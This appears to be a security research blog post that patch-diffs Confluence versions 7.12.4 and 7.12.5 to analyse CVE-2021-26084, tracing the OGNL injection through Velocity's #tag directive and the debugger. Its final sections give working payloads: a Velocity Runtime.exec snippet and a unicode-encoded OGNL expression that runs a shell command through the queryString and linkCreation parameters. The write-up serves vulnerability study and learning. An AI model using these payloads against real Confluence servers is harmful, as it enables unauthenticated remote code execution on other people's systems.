In this series of blogposts I will patch diff, analyze and craft exploits for old CVEs.
CVE-2021-26084
Details and Information gathering
1
2
In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.
So from the definition vulnerable softwares are Confluence Server
and Confluence Data Center
Vulnerable versions are,
The affected versions are before version
versions < 6.13.23
,
6.14.0 < versions < 7.4.11
,
7.5.0 < versions < 7.11.6
,
7.12.0 < versions < 7.12.5
We can start by finding the software and downloading it.
Further looking, we can actually see the notes we have created previously in this security bulletin below
https://jira.atlassian.com/browse/CONFSERVER-67940
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Affected versions:
version < 6.13.23
6.14.0 ≤ version < 7.4.11
7.5.0 ≤ version < 7.11.6
7.12.0 ≤ version < 7.12.5
Fixed versions:
6.13.23
7.4.11
7.11.6
7.12.5
7.13.0
Lastly the advisory below is very clear and pretty much explains everything we need.
That’s enough information gathering, let’s jump into downloading the software.
Setting up the local environment
First setups in this series will be detailed. Expect less details in environment setups in the following episodes.
I used a ubuntu 22.04 x64 vm.
Downloaded the software from the link below.
https://www.atlassian.com/software/confluence/download-archives
Fixed version,
- https://www.atlassian.com/software/confluence/downloads/binary/atlassian-/images/studying_old_cves_part1/confluence-7.12.5.tar.gz
- https://www.atlassian.com/software/confluence/downloads/binary/atlassian-/images/studying_old_cves_part1/confluence-7.12.5-x64.bin
Vulnerable version,
Let’s download both. I picked the versions that adjacent to each other so diffing would be easy.
I put the connector here like mentioned above
I installed mysql server
Following configuration was needed in order to configure the application
1
2
mysql> CREATE DATABASE confluence CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;
Add following line to mysqld config
transaction-isolation=READ-COMMITTED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@morph3-virtual-machine:/home/morph3/Desktop# cat /etc/mysql/mysql.conf.d/mysqld.cnf
#
# The MySQL database server configuration file.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
# Here is entries for some specific programs
# The following values assume you have at least 32M ram
[mysqld]
#
# * Basic Settings
#
user = mysql
# pid-file = /var/run/mysqld/mysqld.pid
# socket = /var/run/mysqld/mysqld.sock
# port = 3306
# datadir = /var/lib/mysql,
transaction-isolation=READ-COMMITTED
We have a successfull connection now !
Patch Diffing
We can see some changes in some of the .VM
files. VM files are Apache Velocity Template files
. We know that this vulnerability is an OGNL injection. Nothing much changed between versions 7.12.5
and 7.12.4
so we are on a good track here.
The way I visualized commits via github desktop is that I initially committed the 7.12.4
version as an initial commit and then I basically copy pasted the other version on top of it (7.12.5
) as a secondary commit so it showed the differences between them.
There are also many jar files in the confluence base. There are couple of methods to diff them.
We can use intellij to diff them,
Or we can follow the method introduced in s1r1us’s brokenconflu blogpost.
I found this one easier to work with so let’s take a look.
1
find ./atlassian-/images/studying_old_cves_part1/confluence-8.5.1/confluence/WEB-INF/lib/ -type f -name "*confluence*" -exec find {} -type f -name "*.jar" \; | xargs -I {} jadx -d 8.5.1 {} --comments-level none
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Sun 5 | 15:56]
morph3 ➜ studying-old-cves/ λ mkdir /images/studying_old_cves_part1/confluence-repo
[Sun 5 | 15:56]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 15:56 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 15:56 ..
[Sun 5 | 15:56]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ λ git init .
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint: git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint: git branch -m <name>
Initialized empty Git repository in /mnt/c/Users/melih/Desktop/studying-old-cves//images/studying_old_cves_part1/confluence-repo/.git/
Let’s copy the jars and check the diff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:04 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 15:56 ..
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:04 .git
[Sun 5 | 16:05]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ cp -r ..//images/studying_old_cves_part1/confluence-jars/7.12.4/* .
[Sun 5 | 16:11]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master✗] λ ls -alh
total 0
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:08 .
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 15:56 ..
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:04 .git
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:08 resources
drwxrwxrwx 1 morph3 morph3 4.0K Nov 5 16:11 sources
[Sun 5 | 16:11]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master✗] λ git add *
[Sun 5 | 16:16]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ git commit -m "version 7.12.4"
...
...
create mode 100644 sources/org/springframework/aop/framework/autoproxy/AbstractAutoProxyCreator.java
create mode 100644 sources/org/springframework/orm/hibernate/support/BlobInputStreamType.java
create mode 100644 sources/org/springframework/orm/hibernate/support/SpoolingBlobInputStreamType.java
[Sun 5 | 16:25]
morph3 ➜ /images/studying_old_cves_part1/confluence-repo/ [master] λ
Now that we created the initial version let’s copy version 7.12.5
to the same directory.
We can see that there are no changes in sources files, which are actually the important ones.
As there no changes in the jar files, we can continue investigating other changes.
There are only 3 changes that seem important.
1
2
3
confluence\admin\editdailybackupsettings.vm
confluence\pages\createpage-entervariables.vm
confluence\template\custom\content-editor.vm
One of them is under admin and we know that this is a preauth RCE vulnerability so it is unlikely going to include the sinkhole.
File below is the one that stands out
confluence\pages\createpage-entervariables.vm
,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div class="smallfont view-template">
<div class="wiki-content">$action.renderedTemplateContent</div>
</div>
<form name="filltemplateform" method="POST" action="doenterpagevariables.action">
#form_xsrfToken()
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
I visited the template,
Luckily form action doenterpagevariables.action
responds to GET requests as well.
Following rabbit and drowning in their holes
In the patch diff,
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
$!
in the patch diff caught my attention and I did a little research. According to this stackoverflow post
1
When the form is initially loaded and $email still has no value, **an empty string** will be output **instead of "$email"**.
! basically tells the renderer to reflect it’s value and it will reflect as an empty string if there is nothing supplied
According to VTL reference
- Silent Formal notation:
$!{mud-Slinger_9}
https://people.apache.org/~henning/velocity/html/ch04s05.html
Nonetheless, I’m still confused at the difference between $!{email}
and $!email
.
Enough reading docs, like what a real hacker would do I furiously started clicking on things. Clicking on the next button shown in the previous screen shot forges a request like below,
2 variables caught my attention, queryString
and linkCreation
. Those were the ones that have been changed in the patch.
It didn’t like the templateId
parameter being $pageTemplate.id
so I changed it with a random integer and it worked fine
Let’s dive into velocity template engine and investigate things a bit
Playing with Velocity templates locally and java development hell
I installed maven with
sudo apt install maven
Created a sample project.
mvn archetype:generate -DgroupId=com.example -DartifactId=SampleProject -DarchetypeArtifactId=maven-archetype-quickstart -DinteractiveMode=false
rant alert
Command above took like a minute to complete. It printed bazilion many lines to the terminal.
I HATE the current state of the software engineering. This is just a sample starter project. Why install shit load of packages, dependencies and make shit ton of configurations. This should have taken at most 5 secs. Why do I have to wait a full minute for an example starter project structure just for it to be READY.
We can build our project using,
mvn package
and lastly we can execute the generated jar
1
2
3
morph3 ➜ target/ λ java -cp SampleProject-1.0-SNAPSHOT.jar com.example.App
Hello World!
rant alert
I had to ofc visit https://central.sonatype.com/artifact/velocity/velocity like a caveman find the dependency name and it’s latest version and copy paste it into my pom.xml
file as if we are living in 1943. Oh and look they have maven format as well so we can just copy and paste !!!!!
rant alert
After some trial and error I added this block below to my pom.xml file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<build>
<plugins>
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<mainClass>
com.example.App
</mainClass>
<!-- Specify the main class for your project -->
</configuration>
</plugin>
</plugins>
</build>
I was able to compile and run it with
1
mvn clean compile exec:java
App.java,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.exception.ParseErrorException;
import org.apache.velocity.exception.MethodInvocationException;
import org.apache.velocity.exception.VelocityException;
import java.io.StringWriter;
public class App {
public static void main(String[] args) {
// Initialize the VelocityEngine
VelocityEngine velocityEngine = new VelocityEngine();
try {
// Load the Velocity template
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "John");
// Render the template
StringWriter writer = new StringWriter();
velocityEngine.mergeTemplate("sample-template.vm", "UTF-8", context, writer);
// Print the rendered template
System.out.println(writer.toString());
} catch ( VelocityException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
morph3 ➜ SampleProject/ λ mvn clean compile exec:java
[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------< com.example:SampleProject >----------------------
[INFO] Building SampleProject 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ SampleProject ---
[INFO] Deleting /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/target
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ SampleProject ---
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] skip non existing resourceDirectory /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/src/main/resources
[INFO]
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ SampleProject ---
[INFO] Changes detected - recompiling the module!
[WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent!
[INFO] Compiling 1 source file to /mnt/c/Users/melih/Desktop/studying-old-cves/velocity-template-examples/SampleProject/target/classes
[INFO]
[INFO] --- exec-maven-plugin:3.1.0:java (default-cli) @ SampleProject ---
Hello John
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1.351 s
[INFO] Finished at: 2023-11-07T23:56:08+03:00
[INFO] ------------------------------------------------------------------------
[Tue 7 | 23:56]
morph3 ➜ SampleProject/ λ
Getting the first results
Let’s play with it a little now
I bumped into this nice blogpost while doing the research,
1
What else can we do with Velocity? For example, can we access the operating system from the Velocity template while it has been rendered? The answer is yes. Velocity supports directives. One of them is the **#set** directive. You can’t create and execute plain Java code directly, however if you know Java Reflection and obtain Classes and Constructors you can implement some interesting logic and constructs.
I was actually trying to do the same thing
1
2
3
4
Hello $name
#set($result = 7 * 7)
echo $result
Output,
1
2
3
Hello John
echo 49
Code execution
1
2
3
4
5
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("calc.exe"))
#set($null=$process.waitFor() )
Realization ??
Okay well this is a velocity template injection but why the vulnerability is an OGNL injection in the CVE ?? and why is it so different than what we have already ? What’s going on ?
In velocity template language we need #set()
keyword to evaluate things but in the cve queryString
and linkCreation
variables were referenced by just $
s. They don’t have the set
??
Very good blogpost.
https://secops.group/ognl-injection-decoded/
1
2
3
4
5
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
Notice the pattern
#tag($linkCreation)
It’s very similar to what we have earlier #set($result = 7 * 7)
Looks like items in #tag
s are evaluated as expressions !!
Let’s dive even deeper into this.
Debugging the Confluence
Add the following to the file /opt/atlassian/confluence/bin/setenv.sh
as shown in the link
1
CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ${CATALINA_OPTS}"
Now it listens on port 5005. Let’s debug it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
morph3@morph3-virtual-machine:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5005 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::8090 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:40690 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::47054 :::* -
Run
-> Attach to process
And we are connected
Now in order to set break points we need to find a way to decompile jar files in intellij.
After that we can see the decompiled output of jar files
Let’s put some break points here and there and send requests to the application
And we hit a breakpoint. Nice !
Directives .. What are they ?
https://people.apache.org/~henning/velocity/html/ch05.html
1
As described in Chapter 3.1, Velocity Directives are part of either single or multi-line statements and are preceded by a hash sign (#). While the hash sign is technically not part of the directive, we will still speak about the #if or #set directive.
Example,
1
2
3
4
5
6
7
8
9
10
11
12
5.1 The #set directive
The #set directive is used for setting the value of a reference. It is used in a single-line statement.
A value can be assigned to either a variable reference or a property reference.
Example 5.1. Value assignment using the set directive
## Assigning a variable value
#set( $fruit = "apple" )
## Assigning a property value
#set( $customer.Favourite = $fruit )
One can implement custom directives as well.
https://velocity.apache.org/engine/2.3/configuration.html#custom-directives
1
coma separated list of custom directives class names, which must inherit from org.apache.velocity.runtime.directive.Directive.
There is an example question here as well.
https://stackoverflow.com/questions/159292/how-do-i-create-a-custom-directive-for-apache-velocity
Was the #tag
custom directive ? Where is it if so ?
I asked chat gpt and this was it’s answer. The answer was actually correct. #tag
is something that confluence developers have implemented, it is something custom.
An example custom directive implementation
Let’s find it. Grepping for directive and velocity at the same time reveals the configuration file.
./confluence/WEB-INF/classes/velocity.properties
1
2
3
4
5
6
7
morph3@morph3-virtual-machine:~/Desktop/atlassian-/images/studying_old_cves_part1/confluence-7.12.4$ grep -i -R "directive" | grep -i "velocity"
...
confluence/WEB-INF/classes/velocity.properties:userdirective=com.opensymphony.webwork.views.velocity.ParamDirective,com.opensymphony.webwork.views.velocity.TagDirective,com.opensymphony.webwork.views.velocity.BodyTagDirective,com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective, com.atlassian.confluence.setup.velocity.ParamDirective, \
confluence/WEB-INF/classes/velocity.properties:com.atlassian.confluence.setup.velocity.RenderVelocityTemplateDirective,com.atlassian.confluence.setup.velocity.TrimDirective, com.atlassian.confluence.setup.velocity.HtmlSafeDirective, com.atlassian.confluence.setup.velocity.SkipLinkDirective, com.atlassian.confluence.setup.velocity.DisableAntiXssDirective, \
..
Configuration and implemented custom directives.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
userdirective=
com.opensymphony.webwork.views.velocity.ParamDirective
com.opensymphony.webwork.views.velocity.TagDirective
com.opensymphony.webwork.views.velocity.BodyTagDirective
com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective
com.atlassian.confluence.setup.velocity.ParamDirective
com.atlassian.confluence.setup.velocity.RenderVelocityTemplateDirective
com.atlassian.confluence.setup.velocity.TrimDirective
com.atlassian.confluence.setup.velocity.HtmlSafeDirective
com.atlassian.confluence.setup.velocity.SkipLinkDirective
com.atlassian.confluence.setup.velocity.DisableAntiXssDirective
com.atlassian.confluence.setup.velocity.ProfilingParseDirective
com.opensymphony.webwork.views.velocity.TagDirective
is the thing we are looking for !
This is the class where #tag
has been implemented
1
2
3
4
morph3@morph3-virtual-machine:~/Desktop/atlassian-/images/studying_old_cves_part1/confluence-7.12.4$ grep -R "TagDirective"
grep: lib/jasper.jar: binary file matches
grep: confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar: binary file matches
confluence/WEB-INF/classes/velocity.properties:userdirective=com.opensymphony.webwork.views.velocity.ParamDirective,com.opensymphony.webwork.views.velocity.TagDirective,com.opensymphony.webwork.views.velocity.BodyTagDirective,com.atlassian.confluence.setup.velocity.ApplyDecoratorDirective, com.atlassian.confluence.setup.velocity.ParamDirective, \
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.opensymphony.webwork.views.velocity;
public class TagDirective extends AbstractTagDirective {
public TagDirective() {
}
public String getName() {
return "tag";
}
public int getType() {
return 2;
}
}
Class AbstractTagDirective
has the full implementation.
I hit a break point at that class and we have a very cool call stack including our queryString
Finding the sinkhole
render
method of AbstractTagDirective
calls applyAttributes
. applyAttributes
creates an OgnlValueStack
andOgnlContext
. It sets the properties by calling OgnlUtil.setProperty(key, value, object, ognlContext)
.
This is the sink hole. If template is not formed properly, an ognl injection can occur and so that was the case in this CVE.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public abstract class AbstractTagDirective extends Directive {
...
public boolean render(InternalContextAdapter contextAdapter, Writer writer, Node node) throws IOException, ResourceNotFoundException, ParseErrorException, MethodInvocationException {
Object object = this.createObject(node.jjtGetChild(0));
...
Object currentParent = contextAdapter.get("parent");
Object currentTag = contextAdapter.get("tag");
boolean var11;
try {
contextAdapter.put("parent", currentTag);
contextAdapter.put("tag", object);
InternalContextAdapter subContextAdapter = new WrappedInternalContextAdapter(contextAdapter);
if (object instanceof ParamTag.Parametric) {
Map params = ((ParamTag.Parametric)object).getParameters();
if (params != null) {
params.clear();
}
}
this.applyAttributes(contextAdapter, node, object);
if (!(object instanceof Tag)) {
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void applyAttributes(InternalContextAdapter context, Node node, Object object) throws ParseErrorException, MethodInvocationException {
Map propertyMap = this.createPropertyMap(context, node);
if (propertyMap != null && propertyMap.size() != 0) {
OgnlValueStack stack = ActionContext.getContext().getValueStack();
Map ognlContext = Ognl.createDefaultContext(object);
String key;
Object value;
for(Iterator iterator = propertyMap.entrySet().iterator(); iterator.hasNext(); OgnlUtil.setProperty(key, value, object, ognlContext)) {
Map.Entry entry = (Map.Entry)iterator.next();
key = entry.getKey().toString();
value = entry.getValue();
if (object instanceof ParamTag.Parametric && key.startsWith("params.")) {
value = stack.findValue(value.toString());
}
}
}
}
After applying attributes, object
is updated.
currentTag
is attached to the object
using ((Tag)object).setParent((Tag)currentTag);
. It gets processed boolean var10 = this.processTag(pageContext, (Tag)object, subContextAdapter, writer, node, bodyNode);
Expression evaluation happens after processTag
And its written to the html adapter by contextAdapter.put("tag", currentTag);
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionContext.html
1
2
3
4
5
6
public void put(String key,
Object value)
Stores a value in the current ActionContext. The value can be looked up using the key.
Parameters:
key - the key of the value.
value - the value to be stored.
ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);
Writer has the rendered html and it stores it in the key com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER
. Which I assume it’s some kind of a helper for rendering velocity templates. No need to dig deeper on that.
ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);
It will have the html with evaluated expression.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
this.applyAttributes(contextAdapter, node, object);
if (!(object instanceof Tag)) {
boolean var18 = true;
return var18;
}
PageContext pageContext = ServletActionContext.getPageContext();
if (currentTag instanceof Tag) {
((Tag)object).setParent((Tag)currentTag);
}
try {
ActionContext.getContext().put("com.opensymphony.webwork.views.velocity.AbstractTagDirective.VELOCITY_WRITER", writer);
boolean var10 = this.processTag(pageContext, (Tag)object, subContextAdapter, writer, node, bodyNode);
return var10;
} catch (Exception var15) {
log.error("Error processing tag: " + var15, var15);
var11 = false;
}
} finally {
if (currentParent != null) {
contextAdapter.put("parent", currentParent);
} else {
contextAdapter.remove("parent");
}
if (currentTag != null) {
contextAdapter.put("tag", currentTag);
} else {
contextAdapter.remove("tag");
}
}
return var11;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
protected boolean processTag(PageContext pageContext, Tag tag, InternalContextAdapter context, Writer writer, Node node, Node bodyNode) throws ParseErrorException, IOException, MethodInvocationException, ResourceNotFoundException {
tag.setPageContext(pageContext);
Writer writer = pageContext.getOut();
try {
Map paramMap = null;
ParamTag.Parametric parameterizedTag = null;
if (tag instanceof ParamTag.Parametric) {
parameterizedTag = (ParamTag.Parametric)tag;
paramMap = parameterizedTag.getParameters();
}
int result = tag.doStartTag();
if (paramMap != null) {
parameterizedTag.getParameters().putAll(paramMap);
}
if (result != 0) {
if (tag instanceof BodyTag) {
BodyTag bodyTag = (BodyTag)tag;
if (result == 2) {
BodyContent bodyContent = pageContext.pushBody();
writer = bodyContent.getEnclosingWriter();
bodyTag.setBodyContent(bodyContent);
}
bodyTag.doInitBody();
}
boolean done = false;
while(!done) {
if (bodyNode != null) {
bodyNode.render(context, writer);
}
if (tag instanceof IterationTag) {
IterationTag iterationTag = (IterationTag)tag;
done = iterationTag.doAfterBody() != 2;
} else {
done = true;
}
}
if (tag instanceof BodyTag) {
if (result == 2) {
writer = pageContext.popBody();
} else {
((BodyTag)tag).setBodyContent((BodyContent)null);
}
}
}
tag.doEndTag();
return true;
} catch (JspException var12) {
String gripe = "Fatal exception caught while processing tag, " + tag.getClass().getName();
log.warn(gripe, var12);
String methodName = "-";
throw new MethodInvocationException(gripe, var12, methodName, "", 0, 0);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public Object findValue(String expr, Class asType) {
try {
if (expr == null) {
return null;
} else {
if (this.overrides != null && this.overrides.containsKey(expr)) {
expr = (String)this.overrides.get(expr);
}
return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root, asType);
}
} catch (OgnlException var4) {
return null;
} catch (Exception var5) {
LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", var5);
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
Object result = ((Node)tree).getValue(ognlContext, root);
if (resultType != null) {
result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
}
return result;
}
Ideally we can hit a breakpoint to OgnlUtil.compile
or OgnlValueStack.findValue
. Expressions are evaluated there so we can see the call stack starting from the evaluation point.
Let’s put some breakpoints and see the injection in action.
processTag
calls doEndTag
. doEndTag
calls evaluateParams
and we endup around Ognl.getValue
Thanks to @MCKSysAr
https://twitter.com/MCKSysAr/status/1728862820429873372
There is a very good explanation here as well
https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/
Crafting the Proof of Concept
There is '$!queryString'
in the vulnerable version.
The template is like below
TEMPLATE_BEFORE '$!queryString' TEMPLATE_AFTER
so we need something like
' + <EXPR> + '
+
s are needed because we are going to be injecting/appending to the predefined templates.
' + 7*7 + '
should work
However,
We can see that '
s are encoded and does not form a valid expr. They are converted to '
Unicode is supported by OGNL
Let’s unicode encode '
using unicode \0027
I had a challenge created around this topicpugb. I was already very familiar with this stuff.
Converting it into unicode forms a valid expression and gets evaluated.
Nice we have a valid injection now!
I’ve seen some writeups using #{}
no idea why they used it while exploiting it tbh.
Exploiting
We can just use the payload used at CVE-2019-11581
Same payloads have been used in Template/EL injections that is somewhat related to Java, pretty generic payload.
1
2
'+["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwned")+'
1
\u0027\u002b\u005b\u0022\u0063\u006c\u0061\u0073\u0073\u0022\u005d\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0022\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0022\u002c\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u002c\u006e\u0075\u006c\u006c\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0070\u0077\u006e\u0065\u0064\u0022\u0029\u002b\u0027
As you can see both parameters linkCreation
and queryString
are vulnerable.
Win !!
References
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://confluence.atlassian.com/doc/imagessecurity-advisory-2021-08-25-1077906215.html
- http://dev.mysql.com/doc/mysql/en/server-system-variables.html
- https://blog.s1r1us.ninja/research/brokenconflu
- https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
- https://stackoverflow.com/questions/37109363/difference-of-a-variable-name-with-in-velocity-template
- https://velocity.apache.org/engine/1.7/vtl-reference.html
- https://people.apache.org/~henning/velocity/html/ch04s05.html
- https://central.sonatype.com/artifact/velocity/velocity
- https://iwconnect.com/apache-velocity-server-side-template-injection/
- https://secops.group/ognl-injection-decoded/
- https://community.developer.atlassian.com/t/create-/images/studying_old_cves_part1/confluence-debug-target-on-running-production-environment/44817
- https://intellij-support.jetbrains.com/hc/en-us/community/posts/6061217524626-How-to-decompile-and-debug-a-jar-file-
- https://people.apache.org/~henning/velocity/html/ch05.html
- https://velocity.apache.org/engine/2.3/configuration.html#custom-directives
- https://stackoverflow.com/questions/159292/how-do-i-create-a-custom-directive-for-apache-velocity
- https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ActionContext.html
- https://github.com/orphan-oss/ognl/blob/d2950d05c949af1e18795a45eebdcd8154cf4706/src/main/jjtree/ognl.jjt#L36
- https://morph3.blog/posts/STMCTF2021-Web-Category-Writeups/#pugb
- https://github.com/vulhub/vulhub/tree/master/jira/CVE-2019-11581
- https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
- https://twitter.com/MCKSysAr/status/1728862820429873372
- https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2/